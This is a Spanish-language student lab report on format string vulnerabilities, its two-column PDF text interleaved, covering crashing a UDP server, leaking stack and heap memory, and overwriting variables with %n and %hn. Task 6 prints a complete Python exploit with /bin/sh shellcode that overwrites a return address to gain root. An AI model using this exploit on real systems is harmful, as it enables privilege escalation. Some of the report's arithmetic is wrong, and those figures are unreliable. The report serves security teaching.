Está en la página 1de 5

Informe Práctica 3: Format String

Stalin J. Benenaula
Erika P. Serrano
Universidad de Cuenca
Facultad de Ingenierı́a
stalin.benenaula@ucuenca.edu.ec
erika.serrano@ucuenca.edu.ec

Resumen—En este documento se analiza la vulnerabilidad de Ası́ mismo el cliente se conecta mediante udp por el puerto
Format String la cual consiste en hacer uso de funciones como 9090 como se muestra en la siguiente figura.
printf() que en principio generará un problema y lo que que se
pretende es aprovecharlo para crashear el programa, mostrar
mensajes secretos,cambiar datos de la memoria y finalmente
ganarse el root haciendo uso del protocolo udp para la comuni-
cación cliente-servidor.
I. I NTRODUCCI ÓN Figura 2. Cliente Conectándose.
Format String Attack es un ataque cibernético, el cual se
produce cuando los datos enviados a través de una cadena de
entrada de caracteres son evaluados como un comando por II-B. Tarea 2:
la aplicación o servidor al cual van dirigidos. De esta forma,
el atacante podrı́a ejecutar código, leer la pila o causar un Understanding the Layout of the Stack
error de segmentación en la aplicación en ejecución, lo que Es indispensable entender el diseño de la pila (stack) cuando la
provocarı́a nuevos comportamientos que podrı́an comprometer función printf() es invocada dento de myprint(). en la siguiente
la seguridad o la estabilidad del sistema al que van dirigidos. figura se enseña el diseño de la pila.
Los errores de cadena de formato aparecen más comúnmente
cuando un programador desea imprimir una cadena que con-
tiene datos suministrados por el usuario.
En la sección 2 se presenta el desarrollo de la práctica con
la ejecución y análisis de cada proceso y en la sección 3 las
conclusiones.
II. D ESARROLLO
II-A. Tarea 1:
Running and testing the server
Usando los siguientes comandos se corre el servidor y el
cliente.
/ / On t h e s e r v e r VM
$ sudo . / s e r v e r
/ / On t h e c l i e n t VM
$ nc −u 1 0 . 0 . 2 . 5 9090
Al realizar esta tarea se puede visualizar las direcciones de
Figura 3. Stack layout cuando la función printf() es invocada dento de
memoria del mensaje secreto ası́ como de del target(dirección myprint().
a cambiar de valor). El mensaje de prueba entre Cliente y
Servidor fue ”hola”.
Cuáles son las posiciones de memoria en las ubicaciones
marcadas por 1, 2 y 3?

La posición del format string se puede obtener dentro


de la función printf(), la cual al estar dentro de la
función myprintf(), requiere desmontar esta función en el
depurador gdb con el fin de obtener la dirección, véase
Figura 1. Servidor Corriendo. la siguiente figura.
Es decir, la dirección del buffer (main()) es 0xbfffed40.
Y por lo tanto, el return address (myprintf()) estará 12
bytes arriba, 0xbfffed44.

Cuáles es la distancia entre las ubicaciones marcadas


por 1 y 3?

Restando las direcciones: 0xbfffed40 - 0x80483f0 =


b7fb6950

II-C. Tarea 3:

Crash the Program


El objetivo de esta tarea es hacer que el programa que corre el
servidor se colapse. En el lado del cliente se aprovecha el uso
de comodines que me brinda C cuando se realiza el uso de
printf().La siguiente figura muestra el input desde el cliente.

Figura 4. Dirección printf() correspondiente al format string.

La posición del return address se puede obtener a través Figura 7. Cliente intentando colapsar el servidor.
de gdb en la función myprintf(). Se obtiene la posición
del registro ebp 0xbfffed38, como se muestra en la figura En la figura siguiente se muestra el segmentation fault
siguiente, y se conoce que el return address se ubica 4 producido por el cliente en el lado del servidor.
bytes arriba de éste.

Figura 8. Servidor Colapsado.

II-D. Tarea 4:

Print Out the Server Program’s Memory


El objetivo de esta tarea es hacer que el servidor imprima
algunos datos de su memoria. Los datos serán impresos en el
lado del servidor, por lo que el atacante no puede verlo.
Figura 5. Posición del ebp. 4.A:Stack’s Data El objetivo de esta parte es imprimir
los datos en la pila (cualquier dato está bien).En nuestro
Debido al desbordamiento 0x8 (8 bytes) en ebp (mostra- caso usando el format specifier que se muestra en la figura
do en la siguiente figura) la posición de inicio del buffer siguiente, mostramos lo que esta almacenado en el stack.
se encuentra 8 bytes debajo del ebp.

Figura 9. Cliente usa vulnerabilidad para mostrar stack.

El uso de un solo caractér que se muestra en la figura


anterior sirve para mostrar los primeros 4 bytes del stack.
En el lado del Servidor se puede visualizar claramente la
Figura 6. Análisis de ubicación del return address y el buffer. información del stack que a su vez el cliente no puede verlo.
Figura 10. Servidor muestra stack.
Figura 13. Dirección de la variable target.

4.B:Heap Data Hay un mensaje secreto almacenado en el


Tomando como base el comando de cliente ejecutado en la
Heap Area, y yo ya se su dirección, el objetivo de esta parte
tarea 4B, a través del cual se obtiene el valor (contenido) de
es imprimir el contenido del mensaje secreto. Para lograr esto,
una variable deseada, se lo modifica en este caso para que
se debe colocar la dirección (en forma binaria) del mensaje
escriba un valor deseado, utilizando el format string %n. %n
secreto en su entrada (es decir, la cadena de formato). La
es un format string que apunta a la siguiente dirección y
siguiente figura muestra el comando utilizado para imprimir
escribe en ella el numero de caracteres que haya contado.
el mensaje secreto el cual es una variable que usa la dirección
Adicionalmente, se debe especificar la dirección sobre la cual
de memoria 0x080487c0, por otra parte para movernos por
se va escribir, en este caso la dirección de la variable target
el Heap es necesario usar los format specifiers 8x. que me
que se muestra en la figura anterior.
llevaran a la posición correspondiente.
Entonces, del lado del cliente:

Figura 11. Cliente envı́a comando para mostrar el mensaje secreto.

Para hacer uso de este comando le enviamos a un archivo


llamado input y con 23 saltos haciendo uso de 8x se logra Figura 14. Cliente.
llegar al mensaje secreto para finalmente conectarse con udp,
mientras que en el lado del servidor se mostrara el mensaje Y en el servidor se obtiene:
correspondiente a esa posición de memoria.

Figura 15. Cambio del valor de la variable target.

Figura 12. Servidor muestra el mensaje secreto. Se observa que el valor de la variable target después ex
0x000000d5 que corresponde a 213 en decimal.
II-E. Tarea 5: 5.B: Change the value to 0x500 En esta subtarea, se
pretende cambiar el contenido de la variable target a un valor
Change the Server Program’s Memory especı́fico 0x500.
El objetivo de esta tarea es modificar el valor de la variable
de destino (target) que se define en el programa del servidor. El comando del cliente debe nuevamente modificarse para
Su valor original es 0x11223344. que escriba en target un valor especifico. 0x500 corresponde
5.A: Change the value to a different value En esta a 1280 decimal, entonces 1280 − 213 = 1067 (se restan los
subtarea, se pretende cambiar el contenido de la variable 213 caracteres que se escribieron en el punto anterior).
target. La tarea se considera un éxito si se puede cambiarla a Entonces, del lado del cliente:
un valor diferente, independientemente de lo que sea.

Con la ejecución del programa vulnerable se obtienen


algunas direcciones importantes, entre ellas la dirección de
la variable target: 0x0804a040, véase la figura siguiente. Es
en esta dirección en la que se pretende cambiar su contenido
de 0x11223344 por cualquier otro. Figura 16. Cliente.
Y en el servidor: se necesita imprimir más para aumentar (disminuir en este
caso especı́fico) el valor a 0x0000. Al establecer el campo
de precisión en 0x0000 − 0xF F 99 = −65433, el valor
0x0000 se escribirá en los dos bytes a partir de la dirección
0x0804a040.
Al ejecutar el comando se obtiene un error de segmentacion
debido a que la máquina no tiene la capacidad suficiente y solo
un imprime un numero máximo de caracteres.

Figura 17. Cambio del valor de la variable target por 0x500.

5.C: Change the value to 0xFF990000 En esta subtarea,


se pretende cambiar el contenido de la variable target a un
valor especı́fico 0xFF990000.

0xFF990000 corresponde a 4288217088 decimal, entonces


4288217088 − 1067 = 428820641 (se restan los 1067 carac-
teres que se escribieron en el punto anterior). Figura 19. Cambio del valor de la variable target a 0xFF990000 (parte 1).
Entonces, al ser el numero anterior tan grande se obtiene
el siguiente resultado (luego de alrededor de 4 minutos eje-
cutándose) en el lado del cliente:

Figura 20. Cambio del valor de la variable target a 0xFF990000 (parte 2).

II-F. Tarea 6:
Inject Malicious Code into the Server Program
Figura 18. Cliente.

Debido al problema generado a la limitación de el paso


Entonces se toma la recomendación de la guı́a de utilizar
de información entre cliente-servidor por UDP se realiza una
el format string %hn que permite modificar el espacio de
ataque en la misma maquina virtual.
memoria dos bytes a la vez, en lugar de cuatro bytes con %n.
El exploit utilizado se crea en python y se presenta a conti-
Pero para esto es necesario dividir el espacio de memoria de la
nuación:
variable target en dos bloques de memoria, cada uno con dos
bytes. Se requiere establecer un bloque en 0xFF99 y el otro en # ! / usr / bin / python3
0x0000. Esto significa que en el ataque se debe proporcionar import s y s
dos direcciones en el format string. s h e l l c o d e =(
Se divide la variable target en dos partes, cada una con ” \ x31 \ xc0 \ x31 \ xdb \ xb0 \ xd5 \ xcd \ x80 ”
dos bytes. Los bytes inferiores se almacenan en la dirección ” \ x31 \ xc0 \ x50 \ x68 / / s h \ x68 / b i n \ x89
0x0804a040 y deben cambiarse a 0x0000; los dos bytes \ xe3 \ x50 ”
superiores se almacenan en la dirección 0x0804a042 y deben ” \ x53 \ x89 \ xe1 \ x99 \ xb0 \ x0b \ xcd \ x80 \ x00 ”
cambiarse a 0xFF99. Se necesita usar dos especificadores de ) . e n c o d e ( ’ l a t i n −1 ’ )
formato %hn para lograr eso. N=200
El string ”\x42\xa0\x04\x08@@@@\x40\xa0\x04\x08”se c o n t e n t = b y t e a r r a y ( 0 x90 f o r i i n range (N ) )
coloca al comienzo de la cadena de formato, por lo que se
almacenarán dos direcciones de destino en el stack. Se los s t a r t = N−l e n ( s h e l l c o d e )
separa con una cadena ”@@@@”. La función printf () los content [ s t a r t :]= shellcode
imprimirá primero (12 caracteres). Para llegar a 0xFF99,
que es 65433 en decimal, se necesita imprimir 65237 más a d d r 1 =0 x b f f f e c 7 e
caracteres (65433 − (12 + 23 ∗ 8) =). Cuando se llegue a d d r 2 =0 x b f f f e c 7 c
al primer %hn, el valor 0xFF99 se escribirá en la memoria c o n t e n t [ 0 : 4 ] = ( addr1 ) . t o b y te s
de dos bytes en la dirección 0x0804a042. Después de esto, (4 , byteorder= ’ l i t t l e ’ )
c o n t e n t [ 4 : 8 ] = ( ”@@@@” ) . e n c o d e II-H. Tarea 8:
( ’ l a t i n −1 ’ ) Fixing the Problem
c o n t e n t [ 8 : 1 2 ] = ( addr2 ) . t o b y te s El warning producido al compilar el programa vulnerable es
(4 , byteorder= ’ l i t t l e ’ ) debido a que la función printf() contiene un problema de
programación es decir no contiene los suficientes argumentos
s m a l l =0 x b f f f −12 −19∗8 que proporcionaran una compilación sin warnings y vulnera-
l a r g e =0 xed34 − 0 x b f f f bilidades.
s =” %.8x ” ∗19 + ” %.” + s t r ( s m a l l )
+ ” x ” + ” %hn ” \ III. C ONCLUSIONES
+ ” %.” + s t r ( l a r g e ) En base a la práctica realizada se pudo concluir que:
+ ” x ” + ” %hn ” El conocimiento de donde esta ubicado la posición de
f m t = ( s ) . e n c o d e ( ’ l a t i n −1 ’ ) memoria objetivo no resulta suficiente pues se debe llevar al
c o n t e n t [12:12+ len ( fmt ) ] = fmt puntero a la región correspondiente para ası́ poder mostrar y
w i t h open ( ’ b a d f i l e ’ , ’wb ’ ) a s f : modificar a un valor determinado, sin embargo este ultimo
f . write ( content ) paso resulta de gran inconveniente cuando se trata de números
El addr2=0xbfffec7c representa el return address que se altos por lo que se resuelve tomando de 2 bytes en 2 bytes.
define al ejecutar el programa vulnerable o que se puede ser
encontrado realizando un debug a la función y sumando 4 R EFERENCIAS
bytes al ebp.
[1] Wenliang, Du. Çomputer and Internet Security: A Hands-on approach”,
El addr1=0xbfffec7e representa 2 bytes mas arriba del return Chapter 6: Format String Vulnerability. 2nd Ed. 2019
address donde se guardara el valor que se desea cambiar. Se
debe tomar en cuenta que el código malicioso inyectado es
decir el shellcode permitirá ganarnos el root.
La siguiente figura muestra como al ejecutar el archivo vulne-
rable, la función printf() permitirá que el exploit haga cambios
al archivo de lectura badfile y realice los cambios necesarios
para cambiar el return address y ganar el root.

Figura 21. Programa vulnerable ejecutado y corrompido.

La siguiente figura muestra como el return address fue


modificado en referencia a la figura anterior.Además efecti-
vamente el root fue ganado por el atacante.

Figura 22. Programa vulnerable ejecutado y corrompido.

II-G. Tarea 7:
Getting a Reverse Shell

Debido a que en la tarea 6 se especifico el problema de


atacar mediante el proceso cliente y servidor, se realizo el
ataque en una misma VM por lo cual no tendrı́a sentido
obtener un reverse shell, puesto que esta herramienta es para
conexiones remotas.

También podría gustarte